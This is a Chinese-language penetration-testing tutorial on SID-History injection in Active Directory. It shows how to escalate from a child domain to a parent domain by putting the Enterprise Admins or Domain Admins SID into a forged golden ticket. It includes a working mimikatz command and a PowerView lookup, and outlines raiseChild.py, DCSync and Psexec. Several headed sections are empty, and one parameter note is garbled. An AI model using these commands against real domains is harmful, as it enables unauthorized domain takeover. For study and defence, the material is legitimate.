SID-History Injection
SID History Injection 攻击
SID History Injection 攻击的重点是在用户在域之间迁移时,确保他们可以继续访问来自以前域的资源。这是通过将用户以前的安全标识符(SID)合并到其新帐户的SID History中来实现的。值得注意的是,通过将父域中高特权组(例如企业管理员或域管理员)的SID添加到SID History中,可以操纵此过程以授予未经授权的访问权限。这种利用赋予对父域内所有资源的访问权限。
有两种方法可用于执行此攻击:通过创建Golden Ticket或Diamond Ticket。
要找到**"Enterprise Admins"**组的SID,首先必须找到根域的SID。在确定后,可以通过在根域的SID后附加-519来构建Enterprise Admins组的SID。例如,如果根域SID为S-1-5-21-280534878-1496970234-700767426,则"Enterprise Admins"组的结果SID将是S-1-5-21-280534878-1496970234-700767426-519。
您还可以使用Domain Admins组,其以512结尾。
另一种找到其他域组的SID(例如"Domain Admins")的方法是:
Get-DomainGroup -Identity "Domain Admins" -Domain parent.io -Properties ObjectSid使用KRBTGT-AES256的黄金票据(Mimikatz)
mimikatz.exe "kerberos::golden /user:Administrator /domain:<current_domain> /sid:<current_domain_sid> /sids:<victim_domain_sid_of_group> /aes256:<krbtgt_aes256> /startoffset:-10 /endin:600 /renewmax:10080 /ticket:ticket.kirbi" "exit"
/user is the username to impersonate (could be anything)
/domain is the current domain.
/sid is the current domain SID.
/sids is the SID of the target group to add ourselves to.
/aes256 is the AES256 key of the current domain's krbtgt account.
--> You could also use /krbtgt:<HTML of krbtgt> instead of the "/aes256" option
/startoffset sets the start time of the ticket to 10 mins before the current time.
/endin sets the expiry date for the ticket to 60 mins.
/renewmax sets how long the ticket can be valid for if renewed.
# The previous command will generate a file called ticket.kirbi
# Just loading you can perform a dcsync attack agains the domain有关黄金票据的更多信息,请查看:
Golden Ticket钻石票据(Rubeus + KRBTGT-AES256)
有关钻石票的更多信息,请查看:
Diamond Ticket使用受损域的KRBTGT哈希值升级为DA或根管理员或企业管理员:
通过攻击获得的权限,您可以在新域中执行例如DCSync攻击:
DCSync从Linux
使用ticketer.py手动操作
使用 raiseChild.py 进行自动化
这是一个 Impacket 脚本,可以自动将权限从子域升级到父域。脚本需要:
目标域控制器
子域中管理员用户的凭证
流程如下:
获取父域的 Enterprise Admins 组的 SID
检索子域中 KRBTGT 账户的哈希值
创建一个 Golden Ticket
登录到父域
检索父域中管理员账户的凭证
如果指定了
target-exec开关,则通过 Psexec 认证到父域的域控制器。
参考资料
最后更新于